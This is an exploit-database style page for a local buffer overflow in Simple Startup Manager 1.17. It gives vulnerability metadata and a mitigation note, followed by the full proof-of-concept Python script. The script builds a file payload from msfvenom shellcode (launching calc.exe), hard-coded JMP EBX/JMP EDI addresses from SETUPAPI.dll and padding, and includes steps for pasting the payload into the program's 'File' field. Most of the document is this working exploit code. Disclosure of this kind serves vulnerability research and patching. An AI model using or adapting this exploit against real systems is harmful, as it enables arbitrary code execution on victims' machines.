Simple Startup Manager 1.17 - 'File' Local Buffer Overflow (PoC)

vendor:

Simple Startup Manager

by:

PovlTekstTV

N/A

CVSS

HIGH

Local Buffer Overflow

CWE

Product Name: Simple Startup Manager

Affected Version From: 1.17

Affected Version To: 1.17

Patch Exists: NO

Related CWE:

CPE: a:simple_startup_manager:1.17

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 Ultimate Service Pack 1 (32 and 64 bit)

2020

Simple Startup Manager 1.17 – ‘File’ Local Buffer Overflow (PoC)

The exploit takes advantage of a local buffer overflow vulnerability in Simple Startup Manager version 1.17. By exploiting this vulnerability, an attacker can execute arbitrary code on the target system. The exploit has been tested on Windows 7 Ultimate Service Pack 1 (32 and 64 bit) with DEP and ASLR disabled. The exploit requires space for shellcode of size 264.

Mitigation:

To mitigate this vulnerability, users are advised to update to a patched version of Simple Startup Manager or use an alternative startup manager software.

Source

Exploit-DB raw data:

# Exploit Title: Simple Startup Manager 1.17 - 'File' Local Buffer Overflow (PoC) 
# Exploit Author: PovlTekstTV
# Date: 2020-07-15
# Vulnerable Software: Simple Startup Manager
# Software Link Download: http://www.ashkon.com/download/startup-manager.exe
# Version: 1.17
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 and 64 bit)
# DEP and ASLR Disabled on system
# Space for shellcode: 264

#!/usr/bin/python
# Two sets of instructions are needed:
# 1. JMP EDI
# 2. JMP EBX 
# I found these in the OS-module: SETUPAPI.dll, which is usually protected using ASLR
# The exploit will properly not work unless changed/bruteforced.

# It is also possible to overwrite the SEH-handler with 600+ bytes,
# however I did not find any POP, POP, RETs.

# Walkthrough:
#   1.- Run the python script, it will create a new file "exploit.txt"
#   2.- Copy the content of the new file 'exploit.txt' to clipboard
#   3.- Turn off DEP for startup-manger.exe
#   4.- Open 'startup-manger.exe'
#   5.- Click 'New' or go to 'File' and click 'New'
#   6.- Paste content from clipboard into 'File' parameter
#   7.- Click on 'OK'
#   9.- Calc.exe runs.

#Identified the following badchars: x00 x0a x09 x0c x0d x3a x5c
#msfvenom -p windows/exec cmd=calc.exe -f c -b "\x00\x0a\x0c\x0d\x3a\x5c"
shellcode = ("\xdb\xd0\xd9\x74\x24\xf4\xbe\xcb\xe3\xc2\xa5\x5a\x33\xc9\xb1"
"\x31\x83\xc2\x04\x31\x72\x14\x03\x72\xdf\x01\x37\x59\x37\x47"
"\xb8\xa2\xc7\x28\x30\x47\xf6\x68\x26\x03\xa8\x58\x2c\x41\x44"
"\x12\x60\x72\xdf\x56\xad\x75\x68\xdc\x8b\xb8\x69\x4d\xef\xdb"
"\xe9\x8c\x3c\x3c\xd0\x5e\x31\x3d\x15\x82\xb8\x6f\xce\xc8\x6f"
"\x80\x7b\x84\xb3\x2b\x37\x08\xb4\xc8\x8f\x2b\x95\x5e\x84\x75"
"\x35\x60\x49\x0e\x7c\x7a\x8e\x2b\x36\xf1\x64\xc7\xc9\xd3\xb5"
"\x28\x65\x1a\x7a\xdb\x77\x5a\xbc\x04\x02\x92\xbf\xb9\x15\x61"
"\xc2\x65\x93\x72\x64\xed\x03\x5f\x95\x22\xd5\x14\x99\x8f\x91"
"\x73\xbd\x0e\x75\x08\xb9\x9b\x78\xdf\x48\xdf\x5e\xfb\x11\xbb"
"\xff\x5a\xff\x6a\xff\xbd\xa0\xd3\xa5\xb6\x4c\x07\xd4\x94\x1a"
"\xd6\x6a\xa3\x68\xd8\x74\xac\xdc\xb1\x45\x27\xb3\xc6\x59\xe2"
"\xf0\x39\x10\xaf\x50\xd2\xfd\x25\xe1\xbf\xfd\x93\x25\xc6\x7d"
"\x16\xd5\x3d\x9d\x53\xd0\x7a\x19\x8f\xa8\x13\xcc\xaf\x1f\x13"
"\xc5\xd3\xfe\x87\x85\x3d\x65\x20\x2f\x42")

payload = shellcode
payload += ("A"*(268-len(payload)-4))
payload += ("\xe4\xa9\x4e\x76") #0x764ea9e4 (JMP EBX) {PAGE_READONLY} [SETUPAPI.dll]
payload += ("\x5f\xbc\x4e\x76") #0x764ebc5f (JMP EDI) {PAGE_READONLY} [SETUPAPI.dll]

#Write payload to file
file = open("exploit.txt" , 'w')
file.write(payload)
file.close()